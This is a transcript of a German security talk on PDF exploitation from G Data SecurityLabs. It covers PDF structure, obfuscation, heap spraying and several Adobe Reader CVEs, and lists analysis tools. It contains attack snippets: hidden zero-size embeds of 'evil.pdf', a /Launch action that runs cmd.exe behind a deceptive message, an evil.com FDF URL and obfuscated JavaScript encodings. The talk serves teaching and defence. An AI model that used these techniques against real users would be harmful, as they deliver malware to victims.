PDF Exploitation

Post on 23-Feb-2016

108 views 0 download

description

PDF Exploitation. Herzlich Willkommen. Überblick. G Data Software AG SecurityLabs. Karsten Tellmann, Security Researcher. Gliederung. PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele. 1. PDF Überblick. 1992: PDF v1.0 wird veröffentlicht - PowerPoint PPT Presentation

Transcript of PDF Exploitation

Herzlich Willkommen.Überblick

G Data Software AGSecurityLabs

Karsten Tellmann,Security Researcher

PDF Exploitation

Gliederung1. PDF Überblick2. PDF im WWW3. PDF Struktur4. PDF Exploitation5. Beispiele

1. PDF Überblick

Portable Document Format - Fakten1992: PDF v1.0 wird veröffentlicht

1993: PDF Spezifikation wird veröffentlicht1993: Adobe Acrobat wird veröffentlicht1999: JavaScript Interpreter kommt hinzu2005: 3D Engine kommt hinzu2007: Flash Support2008: PDF wird zum Standard (ISO 32000-1:2008)

• Über 200.000.000 PDF Dokumente im WWW• Über 1.800 Anbieter von PDF bezogenen

Produkten/Dienstleistungen

Quelle: http://www.adobe.com/pdf

Ausgewählte Features• Video• Audio• XML• U3D• Interaktive Formulare• Dateianhänge• Datenbanken (ADBC)

• Kodierung• Verschlüsselung• Digitale Singaturen• JavaScript• Flash• Dateien ausführen

(cmd.exe)

Digitales eierlegendes Wollmilchdokumentenformat

Warum PDF?

• Weite Verbreitung (-> großes Zielpublikum)• Enormer Funktionsumfang (-> Komplexität vs.

Sicherheit)• Veraltete Versionen (-> Alte Exploits)• Browser Plug-ins (-> Drive-by-Downloads)

Warum ist PDF so interessant für Malwareautore?

Common Vulnerabilities and Exposures (CVE)

2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 20100

20

40

60

80

100

120

140

3 06 5

1016 19

33

45

115

79

Quelle: http://cve.mitre.org

SuchbegriffeAdobe ReaderPDFAdobe Reader + PDF

2. PDF im WWW

Generell (FF 3.6.13, Opera 10.63, IE 8.0)<object data="evil.pdf" type="application/pdf" width="0"

height="0" /><iframe src="evil.pdf" frameborder="0" width="0" height="0"

/><embed src="evil.pdf" width="0" height="0" />

Internet Explorer<object classid="clsid:CA8A9780-280D-11CF-A24D-

444553540000" width="0" height="0"><param name="src" value="evil.pdf" />

</object>

Einbetten in einer Webseite

PluginDetect (Eric Gerds):http://pinlady.net/PluginDetect

• Konfigurierbares JavaScript zur Bestimmung von Browser Plugin Versionen

• Java, QuickTime, DevalVR, Shockwave, Flash, Windows Media Player, Silverlight, VLC Player, Adobe Reader, Generic PDF Reader

Plugin Versionserkennung

PluginDetect Beispiel<html><head><title>PDF Reader Plugin Detection</title><script src="PluginDetector.js"></script><script language="javascript" type="text/javascript"> function check_version(){

adobe = PluginDetect.getVersion("AdobeReader");

version = adobe.split(",").join(".");alert("Adobe Reader Version: "+version);}

</script></head><body onload="check_version()"></body></html>

PluginDetect: Bleeding Life

Beispiel: bleedinglife.txt

Bleeding Life Exploit Kit Version 2: ~400 $

Unterstützte PDF Exploits: • CVE 2008-2992 (util.printf)• CVE 2010-0188 (libtiff)• CVE 2010-1297 (authplay.dll (AVM2))• CVE 2010-2884 (authplay.dll (AVM2))

Browser KontextDas Sicherheits-Management des Adobe Reader ändert sich im Browser Kontext:• Keine Warnmeldungen wenn das PDF mit Webseiten

interagieren will (zB.: GoToR)• Parameter können via GET an das Reader Plug-in übergeben werden: http://site.org/file.pdf#page=23 http://site.org.file.pdf#fdf=http://evil.com/modify.fdf

Quelle: Malicious origami in PDF

3. PDF Struktur

Basis DatentypenTyp Wert

Boolean true, falseNumeric 42, +23, -13, 3.1415, -2,718String (literal, oktal, hex) (foo), (/146/157/157), <666f6f> Name /varnameArray [42, (/146/157/157), /Name,

<666f6f>]Dictionary << /key1 (value) key2 <666f6f>

>>Stream <<>>stream … endstreamNull null

PDF Streams• Einbetten von kodiertem Inhalt (zB.: .jpg, .png)• Kodieren von beliebigem Inhalt (zB.: JavaScript)• Filter können beliebig verkettet werden

Liste von unterstützten Filtern:• ASCII85Decode• ASCIIHexDecode• FlateDecode• LZWDecode• RunLengthDecode

• DCTDecode• CCITTFaxDecode• JBIG2Decode• JPXDecode• (U3D)

Objects• Basis Datentypen werden in Objekten organisiert• Objekte haben eine ID und können referenziert

werden1 0 obj<< /Var (Text)>>endobj

1 0 obj<< /Var 2 0 R>>Endobj

2 0 obj (Text)endobj

Äquivalent

Physikalische StrukturHeader: Version der PDF Spezifikation.Objekte: Beschreiben den Inhalt des

Dokuments.Cross Reference Table: Gibt an , an

welcher Byte-Position im Dokument welches Objekt steht und in welcher Version es vorliegt.

Trailer: Anzahl der Objekte, spezifiziert das root Element, Position des letzten Cross Reference Table.

Physikalische Struktur

Beispiel: Hello-World.pdf

Logische Struktur

Herzlich Willkommen.

ÜberblickParsing Schritte:• Suche PDF Header innerhalb der ersten 1024 Bytes• Suche Trailer und bestimme root

Objekt und Cross Reference Table (xref)• Bestimme Byte Position vom root

Objekt mittels Eintrag im xref und parse Inhalt.• Folge Referenzen

AktionenPDFs können Aktionen ausführen:• Ausführen von JavaScript• Senden von Formularen, Email• Lokale OS Kommandos ausführen• Externe Ressourcen ansprechen• Abspielen von Musik und Videos• …

TriggerAktionen werden ausgelöst:• Öffnen und schließen des Dokuments• Öffnen und schließen einer Seite• Betreten eines bestimmten Fläche in einer

Seite• Beim parsen eines Objektes• …

Aktionen und Trigger

Beispiel: Triggers.pdf

Reader Toleranz I

Überblick

Reader Software reagiert unterschiedlich auf Formatfehler.

PDF Header Spezifikation: %PDF-<Versions Nr.> steht am Anfang der Datei

Acrobat Reader X:• %PDF- reicht aus• Innerhalb der ersten 1024 Bytes• Vor dem Catalog Objekt

Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…

Reader Toleranz II

Überblick

Reader Software reagiert unterschiedlich auf Formatfehler.

PDF Spezifikation: • %%EOF steht am Ende der Datei• /Size• /Length

Acrobat Reader X:• komplett egal

Reader Toleranz III

Überblick

Quelle: http://blog.didierstevens.com

Reader Toleranz Beispiel

Überblick

by Julia Wolf, FireEye Malware Intelligence Lab

%PDF-trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>>

PDF Obfuscation I

ÜberblickName Obfuscation• /JavaScript• /#4A#61#76#61#53#63#72#69#70#74Literal String Obfuscation• /JS (app.alert(„Got Ya!“);)• /JS (\141\160\160.\\ alert(„Go\164 Y\141!“);)Hexadecimal String Obfuscation• /JS

<6170702e616c6572742822476f742059612122293b>• /JS <61 70 702e 616c 65 72 74 28 22 476f 74 2059612122293b>

PDF Obfuscation II

Überblick

Encryption (RC4, AES in CBC mode)• Verschlüsselt nur Inhalt von String und Stream

Objekten• Bei leerem Owner Passwort, wird mit einem 32Byte Standardpasswort entschlüsselt (außer AES256).

<28BF4E5E4E758A4164004E56FFFa01082E2E00B6D0683E802F0CA9FE6453697A>

=> Keine Benutzerinteraktion nötig!

Stream Objekte• Alles kann Inhalt eines Stream Objekts sein• Verketten von beliebig vielen Filtern: /Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode]

PDF Obfuscation Beispiel

ÜberblickBeispiel: CVE-2009-0658Buffer overflow Schwachstelle in der Verarbeitung vonJBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0

Metasploit Beispiel: msf_jbig2decode.pdf

JavaScript: Anti Emulation

ÜberblickVariablen aus PDF Objekten auslesen:• getPageNthWord• getLinks• getIcon• getPageNumWords• getPageNthWordQuads• documentFileName• getAnnots• this.info.<var>

4. PDF Exploitation

Vorüberlegungen

Überblick1. Szenario (gezielt vs. massenhaft)2. Exploit(s) wählen (Plattform, Software, Version …)3. Schutzmaßnahmen (Obfuscation, Anti Emulation)4. Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode)

Angriffsschritte

Überblick1. Angriff auslösen (/OpenAction, /AA, /A, /Names)2. Speicher vorbereiten (HeapSpray,JITSpray)3. Schwachstelle ausnutzen (Exploit)4. Eigenen Programmcode ausführen (Shellcode)

Multiple Exploits

ÜberblickBestimmen der Plattform und der Version des Acrobat Reader,um eine auf das Zielsystem angepassten Exploit zu benutzen.

Acrobat JavaScript Rückgabewertapp.platform WIN, MAC, UNIXapp.viewerVersion Reader Version (zB.: 10 oder

9.3.3)

JavaScript: Heapspray

Überblick

64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap

Heapspray: Speicher

Überblick

5. Beispiel Exploits

Schwachstellenkategorien Funktionsmissbrauch Acrobat JavaScript Methoden Stream Filter (JBIG2,TIFF) 3D Objekte (U3D) Font Parsing Modulen Eingebettete Flash Files

Funktionsmissbrauch: CVE-2010-1240

7 0 obj<< /Type /Action /S /Launch /Win << /F (cmd.exe) /P (/C echo @set LP="\(">s1.bat&&echo @set

RP="\)">>s1.bat&&echo …To view the encrypted message in this PDF document,select 'Do not show this message again'and click the Open button!)>>>>endobj

1. Embedded Datei cmd.exe speichern

2. Ändere Text der MessageBox3. Benutzer führt Datei aus

/Action /Launch%PDF-trailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>>2 0 obj<< /Type /Action

/S /Launch/F<<

/DOS (D:\cmd.exe)/Unix (/usr/bin/xcalc)/Mac (/Applications/Calculator.app)

>>>>endobj

JavaScript Methode: CVE-2007-5659

Stream Filter (JBIG2): CVE-2009-0658

Aufbau JBIG2 Stream

Page association size: • 0 : Segment page association = 1 Byte• 1 : Segment page association = 4 Byte

• Setze segment association size = 1• Wähle großen Wert für segment page association (0x00666666 * 5 * 4)• Programmablauf zeigt auf den 1. Teil des Heap Spray und interpretiert den Wert als Pointer (0x341F2500)• Pointer zeigt auf 2. Teil des Heap Sprays mit Nopsled + Shellcode und führt diesen aus

Anmerkungen CVE-2009-0658• Die Schwachstelle ist nicht Adobe Reader spezifisch, da

der Fehler in der Parsing Bibliothek für JBIG2 Streams liegt.

• Die Schwachstelle kann ohne öffnen des PDF ausgelöst

werden:• Windows Indexing Service (Indiziert auch PDF

Inhalte)• Windows Column Handler (Ordner Vorschau,

MetaInfo)

Þ Es wird jedoch kein JavaScript ausgeführt um den

Speicher für den Angriff vorzubereiten.

U3D: CVE-2009-2990

Beispiel Java Script: U3D CLODProgressiveMesh-Continuation Split Position Index arbitrary dereference

U3D: CVE-2009-2990

Fehlende Validierung des Split Position IndexIm Resolution Update desCLOD Progressive Mesh Continuation Block

Font Parsing: CVE-2010-2883

CVE-2010-2883 06.09. – Golf Clinic.pdf 07.09. – Zum ersten Mal bei VirusTotal.com

(1/43) 08.09. – Adobe Advisory 08.09. – Initiales Metasploit-Modul 04.10. – Offizieller Adobe-Patch (Regulärer Patch-Zyklus: 12.10.)

Die Schwachstelle Stack based buffer overflow: CoolType.dll Feld in SING (Smart INdependent Glyphlets)

Tabelle von TrueType Fonts uniqueName Spezifikation: (28 byte, 7-bit ASCII, Null Terminiert) Strcat(stack_buf, user_input) => Null Terminierung wird nicht überprüft

Übersicht des Angriffs

HeapSpray

ROP Code

Shellcode: calc.exe

SING Table

Null-Terminierung von uniqueName fehlt!

Bildquelle: Websense Security Labs

DEP & ASLR ROP-Code benutzt Instruktionen aus icucnv36.dll

• icucnv36.dll unterstützt kein ASLR• DEP greift nicht weil Code aus ausführbarem

Speicherbereich benutzt wird ROP-Code schreibt leere Datei iso88591 in das

Verzeichnis vom PDF ROP-Code mapped die Datei in den Speicher:

• Reserviert 0x10000 Byte ausführbaren Speicherbereich ROP-Code kopiert Shellcode in den reservierten

Speicherbereich und führt ihn aus.

Tag Handler: DefineSceneAndFrameLabelData• Vergibt Labels für Szenen/Frames• Tag Data:

LABELDATA Scenes[SceneCount]

enc_uint32 FramesCount

LABELDATA Frames[SceneCount]

enc_uint32 SceneCount

Flash: CVE-2007-0071

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *addressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

SceneCount wird signed interpretiert, obwohl unsigned definiert

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Setze oberstes Bit:® SceneCount wird negativ interpretiert® großer SceneCount wird nie als Fehler erkannt

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

alloc_mem returned NULL pointer

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

void* alloc_mem(uint32 num_blocks, uint32 blocksize){ if ((uint64)num_blocks*(uint64)blocksize > 0xFFFFFFFF) return NULL; // integer overflow else { // malloc routine }}

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Keine Prüfung auf NULL pointer

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

for-schleife wird nicht durchlaufen(i=SceneCount < 0)

Tag Handler (DefineSceneAndFrameLabelID)

int32 scenecount = GetSceneCount();if (scenecount>swf_upper_limit() || scenecount=0){ // error handling}else{ char *adressptr=alloc_mem(scenecount, 12); for (int32 i=scenecount; i>0; i--) { // never happens } char *record = adressptr+(scene_count*12); *(record+8) = record+global_framecount;}

Angreifer kann Adressen umschreiben

Tag Handler (DefineSceneAndFrameLabelID)

Free Tools PDF Tools (Didier Stevens)

http://blog.didierstevens.com/programs/pdf-tools/ Origami Framework (Sogeti ESEC Lab)

http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami

Opaflib (Felipe Andres Manzano)http://feliam.wordpress.com

Pdfxray (Offensive Computing)http://www.offensivecomputing.net/?q=node/1681

PDF Stream Dumperhttp://sandsprite.com/blogs/index.php?uid=7&pid=57

Vorträge/Webseiten PDF Syntax Abuse (Julia Wolf)

http://www.sec-t.org/2010/Agenda.html How to really obfuscate your PDF Malware (Sebastian

Porst)http://storage.zynamics.com/files/blog/pdf_malware.pdf

Malicious origami in PDF (Raynal, Delugre, Aumaitre) http://www.security-labs.org/fred/ WEPAWET (UCSB,Webservice)

http://wepawet.cs.ucsb.edu/ JSUNPACK (Webservice)

http://jsunpack.jeek.org/dec/go Contagio Dump (Mila Parkour, ITW Samples)

http://contagiodump.blogspot.com/

Herzlich Willkommen.Überblick

Vielen DankFragen?